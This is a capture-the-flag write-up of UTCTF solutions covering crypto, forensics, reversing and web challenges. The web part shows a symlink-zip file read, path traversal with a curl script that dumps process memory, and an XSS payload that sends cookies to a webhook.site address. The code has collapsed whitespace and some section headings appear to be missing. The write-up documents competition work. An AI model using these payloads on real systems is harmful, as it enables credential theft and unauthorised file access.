There were already a lot of good writeups done and I'm starting this late so these will be a bit low effort.
Cryptography
RSA-256 (627 solves)
Description:
Based on the military-grade encryption offered by AES-256, RSA-256 will usher in a new era of cutting-edge security... or at least, better security than RSA-128.
By Jeriah (@jyu on discord)
Solution:
└─$catvals.txtN=77483692467084448965814418730866278616923517800664484047176015901835675610073e=65537c=43711206624343807006656378470987868686365943634542525258065694164173101323321# Solution: RsaCtfTool# https://github.com/RsaCtfTool/RsaCtfTool└─$RsaCtfTool.py-n77483692467084448965814418730866278616923517800664484047176015901835675610073-e65537--decrypt43711206624343807006656378470987868686365943634542525258065694164173101323321privateargumentisnotset,theprivatekeywillnotbedisplayed,evenifrecovered.['/tmp/tmp66c8hk39'][*] Testing key /tmp/tmp66c8hk39.attackinitialized...attackinitialized...[*] Performing mersenne_primes attack on /tmp/tmp66c8hk39.24%|██████████████████|12/51 [00:00<00:00, 64776.90it/s][+] Time elapsed: 0.0162 sec.[*] Performing factordb attack on /tmp/tmp66c8hk39.[*] Attack success with factordb method ![+] Totaltimeelapsedmin,max,avg:0.0162/0.0162/0.0162sec.Resultsfor/tmp/tmp66c8hk39:Decrypteddata:HEX:0x00000000007574666c61677b6a7573745f73656e645f706c61696e746578747dINT (big endian) : 48318056036638095126835825247330138638677839744287146849712239741INT (little endian) : 56744891277200465927677691769438839148620997683319332003939796345463196614656utf-8:utflag{just_send_plaintext}utf-16:甀晴慬筧番瑳獟湥彤汰楡瑮硥絴STR:b'\x00\x00\x00\x00\x00utflag{just_send_plaintext}'
Beginner: Anti-dcode.fr (305 solves)
Description:
I've heard that everyone just uses dcode.fr to solve all of their crypto problems. Shameful, really.
This is really just a basic Caesar cipher, with a few extra random characters on either side of the flag. Dcode can handle that, right? >:)
The '{', '}', and '_' characters aren't part of the Caesar cipher, just a-z. As a reminder, all flags start with "utflag{".
By Khael (Malfuncti0nal on Discord).
Solution:
We're given a large file that's rotated some amount of characters. I just went to cyber chef and put in utflag, rotated it one letter at a time and searched for it in the file manually until I found it, was around the 10th attempt or something.
numbers go brrr (228 solves)
Description:
I wrote an amazing encryption service. It is definitely flawless, so I'll encrypt the flag and give it to you.
As can be seen in the provided main.py, the seed is created from the current time. Therefore assuming our system time is the same as the server, we can just brute force the seed time offset and decode the encrypted flag without even using the "encrypt a message" option.
from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport timedefis_ascii(s):returnall(32<= c <=126for c in s)defgenerate_seed(initial_seed): seed = initial_seedwhileTrue: seed =int(str(seed * seed).zfill(12)[3:9])yield seeddefgenerate_aes_key(seed_generator): key =b''for _ inrange(8): rnd =next(seed_generator)% (2**16) key += rnd.to_bytes(2, 'big')return keydefdecrypt_flag(encrypted_flag,start_seed,end_seed):for possible_seed inrange(start_seed, end_seed +1): seed_gen =generate_seed(possible_seed) key =generate_aes_key(seed_gen) cipher = AES.new(key, AES.MODE_ECB)try: decrypted_flag =unpad(cipher.decrypt(encrypted_flag), AES.block_size)# Check if the decrypted text is printable ASCII before declaring successifis_ascii(decrypted_flag):print(f"Success! Seed: {possible_seed}, Flag: {decrypted_flag.decode()}")returnexceptValueErroras e:continueprint("Flag not found, try adjusting the seed range.")current_time_millis =int(time.time() *1000)start_seed = current_time_millis % (10**6) -100000end_seed = current_time_millis % (10**6) +100000# Received manually from the ncencrypted_flag_hex ="bad36021015c4dc568e272db41b05433f760899a5ba99a0d933edd80d9e131689115a59cd5626f1e658b5ea08b28d773"encrypted_flag =bytes.fromhex(encrypted_flag_hex)print(decrypt_flag(encrypted_flag, start_seed, end_seed))
bits and pieces (218 solves)
Description:
I really really like RSA, so implemented it myself <3.
At the beginning of the challenge, only the first one decoded for me with RsaCtfTool.py and I saved it for later. When I came back, all three solutions were uploaded to factordb so it solved all three. Refer to RSA-256 solution, use for all three and concatenate the outputs.
Just guess the word in 6 tries. What do you mean it's hard?
By oops (former ISSS officer)
Officer in charge: jyu
nc betta.utctf.live 7496
Solution:
Download a valid wordle list then simulate to get candidates for each phase, solves in 4 or less rounds (got lucky and solved in 2 guesses my last round).
# wget https://gist.githubusercontent.com/dracos/dd0668f281e685bad51479e5acaadb93/raw/6bfa15d263d6d5b63840a8e5b64e04b382fdb079/valid-wordle-words.txtdefload_wordlist(filename):withopen(filename, 'r')as file: wordlist = [line.strip()for line in file iflen(line.strip())==5]return wordlistdeffilter_candidates(wordlist,guesses,responses): candidates = wordlistfor guess, response inzip(guesses, responses):iflen(guess)!=5:print(f"Invalid guess length: {guess}")continue# Skip this guess if it's not 5 letters new_candidates = []for word in candidates:ifcalculate_response(guess, word)== response: new_candidates.append(word) candidates = new_candidatesreturn candidatesdefcalculate_response(guess,word): response =1for x inrange(5): a =ord(guess[x])-ord('a') b =ord(word[x])-ord('a')# Assuming 'a - b' could be negative, the modulo operation in Python might need adjustment# Since Python's modulo can return negative values for negative dividends response = (response * ((a-b) %31)) %31return responseif__name__=="__main__": wordlist =load_wordlist("valid-wordle-words.txt") guesses = ["brick","wagon"] # Fill with guesses at each iteration responses = [26] # Fill with the responses from the system for each guess candidates =filter_candidates(wordlist, guesses, responses)print(f"Possible candidates: {candidates}")
numbers go brrr 2 (126 solves)
Description:
A spiritual successor the first.
By jocelyn (@jocelyn3270 on discord)
nc betta.utctf.live 2435
Solution:
Similar to the part 1 of the challenge, we encrypt a known message and then brute force the seed. We only need to use 1 encryption out of our 250 quota.
from Crypto.Cipher import AESfrom Crypto.Util.Padding import paddefget_random_number(seed):"""Generate a pseudo-random number based on a seed.""" seed =int(str(seed * seed).zfill(12)[3:9])return seeddefgenerate_key(seed):"""Generate an AES key based on the seed.""" key =b''for _ inrange(8): seed =get_random_number(seed) key_part = seed % (2**16) key += key_part.to_bytes(2, 'big')return keydefencrypt_with_key(key,message):"""Encrypt a message using AES ECB mode with the given key.""" cipher = AES.new(key, AES.MODE_ECB) ciphertext = cipher.encrypt(pad(message, AES.block_size))return ciphertext.hex()defbrute_force_seed(known_ciphertext,message):"""Brute-force the initial seed by comparing the known ciphertext with the one generated using possible seeds."""for seed inrange(10**6+1): key =generate_key(seed)ifencrypt_with_key(key, message)== known_ciphertext:return seed, key.hex()# Also return the key in hex formatreturnNone,None# Return None if no seed and key are foundknown_ciphertext ="cf3ddfaf71db3445c5b9aa917e33f651"# The ciphertext received from encrypting "test"message =b"test"seed, key_hex =brute_force_seed(known_ciphertext, message)if seed isnotNone:print(f"Found the seed: {seed}")print(f"Corresponding key in hex: {key_hex}")else:print("Seed not found.")
simple signature (95 solves)
Description:
The s in rsa stands for secure.
By alex (@kyrili : not the isss officer - someone y'all don't know)
Contact jocelyn (@jocelyn3270 on discord)
nc betta.utctf.live 4374
Solution:
When I was playing around with inputs, I put in 1 and 2 alternating and noticed the keys for both were the same each round, so we can just pass in the encrypted output previously generated.
Forensics
Contracts (387 solves)
Description:
Magical contracts are hard. Occasionally, you sign with the flag instead of your name. It happens.
By Samintell (@samintell on discord)
Solution:
Extract images from the pdf, get the flag.
OSINT 1 (202 solves)
Description:
It seems like companies have document leaks all the time nowadays. I wonder if this company has any.
(NOTE: It turns out there's also an actual company named Kakuu in Japan. The real company is not in scope. Please don't try and hack them.)
You're looking for a leaked document. You won't find it on their website.
Unlock Hint for 0 points
Accounts online associated with the scenario should be (fairly) distinguishable.
Solution:
There are already some detailed writeups for these so abridged version here. The website had placeholder links and images, the only thing that stood out were the names of the employees. All but the last one were relatively common names, only the last one was unique (Cole Minerton), he had a youtube channel with a discord link in the description. In the discord, he attaches a company contract with the flag in it.
OSINT 2 (141 solves)
Description:
Can you find where the person you identified in the first challenge lives? Flag format is City,State,Zip. For example, if they live at UT Austin submit Austin,TX,78712.
Do not include any spaces in your submission. The submission is also case sensitive, and works with or without utflag{}.
By mzone (@mzone on discord)
Unlock Hint for 0 points
Follow the storyline.
Unlock Hint for 0 points
All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.
Search for coleminerton, find his Mastodon and see an image he posted on filling up gas before a trip.
Can zoom in the original picture to see New Mexico lottery in the middle and "CIMARRON AVE" on the sign. There are three cities in New Mexico with Cimarron Ave, and the solution ends up being Raton,NM,87740.
OSINT 3 (96 solves)
Description:
Can you find the person's IP address? Flag format is XXX.XXX.XXX.XXX
By mzone (@mzone on discord)
Unlock Hint for 0 points
If you wound up on another (unrelated) discord server, then one of the sites you visited is too new.
Unlock Hint for 0 points
All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.
Solution:
When going to his reddit (found through previous link) and specifically with old reddit, we see a wiki link in a community he's a moderator for. In the wiki edit history we can see one of his edits he leaked his IP by not being logged in when making the contribution.
There's a .git folder (probably needs a light fuzz to find or some basic trial/error), we can extract all the data with a tool. I used gitjacker which didn't download the secret file by default so I had to do a bunch of extra stuff (checking .git/logs/HEAD to find the other hash, manually going to the site to download the zlibs and uncompressing them, etc.), apparently it was possible to get it directly using gitdumper.sh at https://github.com/internetwache/GitTools (I didn't test but probably works).
# Contents of secret file which was removed
<li>If you squint your eyes, every country's flag contains very tiny text which reads: utflag{gitR3fl0g}</li>
Note: the audio is the focus of this challenge. The video can be safely ignored.
Solution:
This is a 10 hour video with a looping audio, download a lower quality version of the audio using your site of choice and then open it in sonic visualizer. It takes a while to open and open the spectrogram but under a few minutes on a Kali VM, and at that point we can see a blip where at some point there's something else. Adjust the zoom manually and then the morse code that's played over the clip can be seen visually and transcribed (I also saw other people fed it directly into online morse code audio detectors).
Gibberish (31 solves)
Description:
Help! I'm trying to spy on my lover but they're not typing in any language I'm familiar with!
By mzone (@mzone on discord)
Unlock Hint for 0 points
I made this on a qwerty keyboard but I would recommend buying something more specialized if you were to do this all day. You'll know you're on the right track when you find something that rhymes with a word in the challenge description.
Unlock Hint for 0 points
It's not a cipher.
Unlock Hint for 0 points
I used a 6-key rollover keyboard. You might want to double check some of your words.
Solution:
We're given a wireshark pcap where we can see usb keypresses for a Razer Huntsman TKL board. Normally it's very straightforward to extract the keypresses, there are many guides online but the first step is something like:
We can then parse that data, although normally only one key is pressed at a time (optionally with a shift modifier which comes earlier), but in this file we see a lot of simultaneous keypresses.
So we need a more custom script. Here's how to extract the chords.
import sys# Define key codes based on other conversion tablesKEY_CODES ={0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0A:'g',0x0B:'h',0x0C:'i',0x0D:'j',0x0E:'k',0x0F:'l',0x10:'m',0x11:'n',0x12:'o',0x13:'p',0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1A:'w',0x1B:'x',0x1C:'y',0x1D:'z',0x1E:'1',0x1F:'2',0x20:'3',0x21:'4',0x22:'5',0x23:'6',0x24:'7',0x25:'8',0x26:'9',0x27:'0',0x28:'\n',0x29:'esc',0x2a:'backspace',0x2b:'\t',0x2C:' ',0x2D:'-',0x2E:'=',0x2F:'[',0x30:']',0x32:'#',0x33:';',0x34:'\'',0x36:',',0x37:'.',0x38:'/',0x39:'capslock',0x4f:'right',0x50:'left',0x51:'down',0x52:'up'}defparse_keystrokes(file_path):withopen(file_path, 'r')as file: lines = file.readlines() output = [] prev_chord =None backspace_count =0for line in lines: parts = line.strip().split(':') key_codes =list(filter(None, parts))[2:] key_codes = [int(x, 16)for x in key_codes ifint(x, 16)!=0] chord = [KEY_CODES.get(code, '')for code in key_codes] chord_str =''.join(chord)if chord_str =='backspace': backspace_count +=1else:if backspace_count >0: output.append(f"back{backspace_count}") backspace_count =0if chord_str != prev_chord: output.append(chord_str) prev_chord = chord_strreturn' '.join(filter(None, output))if__name__=='__main__':iflen(sys.argv)<2:print("Usage: python script.py <path_to_file>") sys.exit(1) file_path = sys.argv[1] result =parse_keystrokes(file_path)print(result.strip())
My notes for this one are a bit messy, I was playing around with many versions of the script. I ended up using this I think instead of one that was automatically saving only the full chords by saving the peaks because there were some chords that were more than the 6 characters max (I think up to 8) which requires rolling off some keys earlier and that's only visible by saving all the data.
By the way this chording is for steno typing, and the hint refers to plover. Can google about it but there's a tool that can be downloaded that lets you steno type with a normal keyboard which is how the pcap was made. I ran the above script to get the huge mess of an output and then just looked for some pattern. I found the chord that makes underscore (fgmik[) so I knew where the flag was, and then I just typed it out with plover. There are already good writeups for this so will just call it here.
A reimagined version of our iconic Insanity Check: Redux challenge from UTCTF 2023.
The flag is in CTFd this time, but, as always, you'll have to work for it.
(Specifically the CTFd instance hosting utctf.live)
(This challenge does not require any brute-force -- as per the rules of the competition, brute-force tools like dirbuster are not allowed, and will not help you here.)
By Alex (@.alex_._ on Discord)
Solution:
The 2023 challenge had iirc a duck image where only one had the flag stego'd in it and the rest had red herrings in them. Along the same inspiration (and the "iconic" keyword), looking at the website files in the developer tools, there are two favicons (one .ico and one .svg), but the .ico seems like a dead end. The .svg has some interesting stuff in it though.
The pattern between FFFF and FFF6 seems like it's encoding data, and the timestamps are separated by around 0.314 or three times 0.314, and there are occasionaly consecutive FFF6s (either 2 or 4). All this together, we can picture this being morse code, with FFFF being 1 and FFF6 being 0, with two consecutive 0s being a letter separator and four consecutive 0s being a word separator (underscore). Below is my code that automatically converts this to morse code with a wide window for timing variability just in case.
# Create values.txt with find/replace# 0.000: 1# 0.314: 0# 0.629: 1# ...defread_values(file_path):withopen(file_path, 'r')as file: lines = file.readlines() timestamps = [float(line.split(': ')[0])for line in lines] states = [int(line.split(': ')[1])for line in lines]return timestamps, statesdefconvert_to_morse(timestamps,states): durations = [timestamps[i+1]- timestamps[i]for i inrange(len(timestamps)-1)] durations.append(0)# Add a dummy duration at the end for the last element morse_code ='' i =0while i <len(durations)-1:if states[i]==1:# If the state is 1, determine if it's a dot or a dashif0.164<= durations[i]<=0.464:# Dot morse_code +='.'elif0.497<= durations[i]<=1.392:# Dash morse_code +='-'else:# If the state is 0, determine the type of separationif i <len(durations)-4and states[i+1]==0and states[i+2]==0and states[i+3]==0:# Word separation morse_code +=' / ' i +=3# Skip the next three zeroselif states[i+1]==0:# Letter separation morse_code +=' ' i +=1return morse_codeif__name__=="__main__": file_path ='values.txt' timestamps, states =read_values(file_path) morse_code =convert_to_morse(timestamps, states)print("Morse Code:", morse_code)# Morse Code: ..- - ..-. .-.. .- --. / ..- - -.-. - ..-. / ..- ... . ... / ... ...- --. / - --- / .. - ... / ..-. ..- .-.. .-.. . ... - / # Cyberchef: UTFLAGUTCTFUSESSVGTOITSFULLEST# utflag{utctf_uses_svg_to_its_fullest}
Reverse Engineering
Beginner: Basic Reversing Problem (310 solves)
Description:
So many function calls... but are they that different?
Many of these functions, extract and then get the flag (gpt can do automatically).
hex_values = [0x75,0x74,0x66,0x6c,0x61,0x67,0x7b,0x69,0x5f,0x63,0x34,0x6e,0x5f,0x72,0x33,0x76,0x21,0x7d]print(''.join(chr(value) for value in hex_values))# utflag{i_c4n_r3v!}
Fruit Deals (239 solves)
Description:
I found a excel sheet with some great deals thanks to some random guy on the internet! Who doesn't trust random people off the internet, especially from email
The flag is the file name that was attempted to be downloaded, wrapped in utflag{} Note: the file imitates malicious behavior. its not malicious, but it will be flagged by AV. you probably shouldn't just run it though.
By Samintell (@samintell on discord)
Solution:
I just opened the attached deals.xlsm in libreoffice calc in kali, enabled macros/editing, added a debug print and moused over it (since it wouldn't print for some reason), flag was banANA... in quotes.
🩸PES-128 (57 solves)
Description:
Introducing the Parallel Encryption Standard PES-128 cipher! It's super high throughput and notable nonrequirement of keys makes it a worthy contender for NIST standardization as a secure PRF.
By Jeriah (@jyu on discord)
Solution:
We're given a PES encryption binary and a flag.enc to decode. We notice that inputs need to be hex and the first byte is always the input first byte with some testing. Assuming it works like other similar forms of encryption where the first byte doesn't change (XOR'ing with next segments/keys like block ciphers), we can brute force the conversion by seeing what inputs result in the output one byte at a time.
import subprocess# flag.encencrypted_flag ="75ac713a945e9f78f657b735b7e1913cdece53b8853f3a7daade83b319c49139f8f655b0b77b"# Function to execute the ./PES binary with a given input and return its encrypted outputdefget_encrypted_output(input_hex): result = subprocess.run(['./PES'], input=input_hex, text=True, capture_output=True) output = result.stdout.strip().split('\n')[-1] # Assuming the last line is what we needreturn output# Function to brute force decrypt the encrypted flagdefbrute_force_decrypt(encrypted_flag): partial_input =''# Start with an empty inputfor i inrange(0, len(encrypted_flag), 2):# Process two hex chars (1 byte) at a timefor j inrange(256):# Try all possible values for the next byte trial_input = partial_input +f"{j:02x}"# Append the current byte in hex format trial_output =get_encrypted_output(trial_input)# Check if the start of the trial output matches the encrypted flag up to the current pointif encrypted_flag.startswith(trial_output): partial_input = trial_input # Found the correct byte, update the inputprint(f"Match found: {partial_input} -> {trial_output}")break# Move on to the next bytereturn partial_input# Decrypt the flagdecrypted_flag =brute_force_decrypt(encrypted_flag)print(f"Decrypted flag: {decrypted_flag}")
Decode the final match in cyber chef (from char code) to get the flag.
utflag{i_got_the_need_for_amdahls_law}
Web
Beginner: Off-Brand Cookie Clicker (474 solves)
Description:
I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?
We can upload a zip file and it will display what the contents are. After some googling, a known vulnerability in this situation is uploading a sym link file so it will print out the contents of what you point it to.
First do a ln -s /etc/passwd file.txt, and then a zip -y file.zip file.txt to create the zip (-y to preserve the symlink). Check the size of the zip file to make sure you aren't uploading /etc/passwd (not a big deal but good practice/thought to have), and then upload it to see the contents of /etc/passwd printed on the server.
There's probably a flag option or something to do it but I just created /home/copenhagen/flag.txt on my machine for the symlink command to succeed then repeated the steps above.
Easy Mergers v0.1 (143 solves)
Description:
Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!
We're given a zip file containing the files used on the web server. I did this one towards the start and don't remember too much of it, but I remember running the docker container to test locally and seeing which of the two POST options was potentially vulnerable (either makeCompany or absorbCompany), and then looking into how to set "secret.cmd", where secret is the session, since that's what is run when running absorbCompany. Anyway, here's the solution. Copy the cookie received after accessing the site and put it in solution.sh. The __proto__ lets us define a new variable/value pair.
Home on the Range (71 solves)
Description:
I wrote a custom HTTP server to play with obscure HTTP headers.
If it seems like something's missing, that's completely intentional; you should be able to figure out why it's missing and where it currently is. You don't need to do any brute force guessing to figure out what that missing thing is.
Solution:
The site is a basehttp server that lets us access files, but there's nothing but a hello.html. We're not given the source code for the server but after reading through hints in discord, we know to try to find it with path traversal, and find it at ../../server.py.
This file shows us that the python server reads the flag contents into a variable and then deletes the flag file so the only place the flag is now is in the process memory. Since we can access any files we want with server.py though and since Accept Ranges is enabled, we can access /proc/self/mem and read all the program memory, specifying ranges given by /proc/self/maps so the read doesn't fail.
# First download ../../../proc/self/maps into maps.txt# 64cbb53ca000-64cbb53cb000 r--p 00000000 103:01 1071612 /usr/local/bin/python3.12# 64cbb53cb000-64cbb53cc000 r-xp 00001000 103:01 1071612 /usr/local/bin/python3.12# 64cbb53cc000-64cbb53cd000 r--p 00002000 103:01 1071612 /usr/local/bin/python3.12# 64cbb53cd000-64cbb53ce000 r--p 00002000 103:01 1071612 /usr/local/bin/python3.12# 64cbb53ce000-64cbb53cf000 rw-p 00003000 103:01 1071612 /usr/local/bin/python3.12# 64cbb5dd1000-64cbb5dd2000 ---p 00000000 00:00 0 [heap]# 64cbb5dd2000-64cbb5dd7000 rw-p 00000000 00:00 0 [heap]# 70ed24a00000-70ed24a02000 ---p 00000000 00:00 0 # ...# Normally it should have been in one of the heap sections but it wasn't, # so I just built a script to read everything the process usedimport subprocessimport reurl_template ='http://guppy.utctf.live:7884/../../../proc/self/mem'defdownload_memory_segments(maps_file):# Read the maps filewithopen(maps_file, 'r')as f: maps_content = f.readlines()# Regex to match memory ranges (excluding specific segments if necessary) range_regex = re.compile(r'([0-9a-f]+)-([0-9a-f]+)')for line in maps_content: match = range_regex.match(line)if match:# Convert start and end addresses from hex to decimal start_address, end_address = match.groups() start_address_dec =int(start_address, 16) end_address_dec =int(end_address, 16)-1# Adjust end address for inclusive range# Construct the Range header value using decimal addresses range_header =f"bytes={start_address_dec}-{end_address_dec}"# Construct the output file name output_file =f"memory_segment_{start_address}_{end_address}.bin"# Construct the curl command curl_command = ['curl','--path-as-is','-H',f"Range: {range_header}",'-s', url_template,'-o', output_file ]# Execute the curl command subprocess.run(curl_command)print(f"Downloaded memory segment {start_address} ({start_address_dec})-{end_address} ({end_address_dec}) into {output_file}")download_memory_segments('maps.txt')# └─$ cat memory * > memory.bin# └─$ grep -ina utflag memory.txt # 12957:utflag{do_u_want_a_piece_of_me}# 208783:do_UTFLAG# 340952:utflag{do_u_want_a_piece_of_me}# 1794554:do_UTFLAG
Unsound (13 solves)
Description:
I decided to roll my own super secure crypto. It's also written in Rust with no unsafe code. If you get past all of that, you have to break through the Wasm sandbox. Good luck...you'll need it.
All web requests replayed on an internal headless browser, which contains the flag. This is necessary since any keys stored in Javascript / Wasm could easily be read by the attacker. Take this into account when attacking this box.
At the site we're given an encrypt and decrypt entry field.
Through trial and error, we see the decrypt fails if the input is not a valid base64. Also instead of success, if the original plaintext is between 301 and 600 bytes long, we see those bytes directly printed on the screen (after 600 we just see success again). Since we have a way of displaying text on the page, we can do script injection. A <script> injection doesn't work for some reason but <img> injection does. Therefore we can do cookie exfil to our webhook. This works because all the commands sent in decrypt are also sent to the the internal headless browser running the same thing as mentioned in the description.
// Encrypt the following then paste the base64 into decrypt to send the cookie to our webhook, ask admin to restart server if only getting one message per send in the webhookaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<imgsrc=x onerror="fetch('https://webhook.site/9631e93a-d4d6-49f4-8d7b-64ab9dfc8dff',{method:'POST',body:JSON.stringify({url:location.href,cookies:document.cookie})})">
Misc
CCV (91 solves)
Description:
I've got some credit cards but I don't which ones are valid. Where did I get them? Uh, that's not important.
Oh, you'll probably need this: dae55498c432545826fb153885bcb06b
By mzone (@mzone on discord)
nc puffer.utctf.live 8625
Solution:
There was a lot of public discussion on this challenge in the discord, someone even posted a link of what needs to be done to verify this credit card data: https://www.linkedin.com/pulse/card-verification-code-cvc-value-cvv-nayoon-cooray/
This depends on having both the csc and cvv, but it's a 10 step process that I replicate in the following solution script.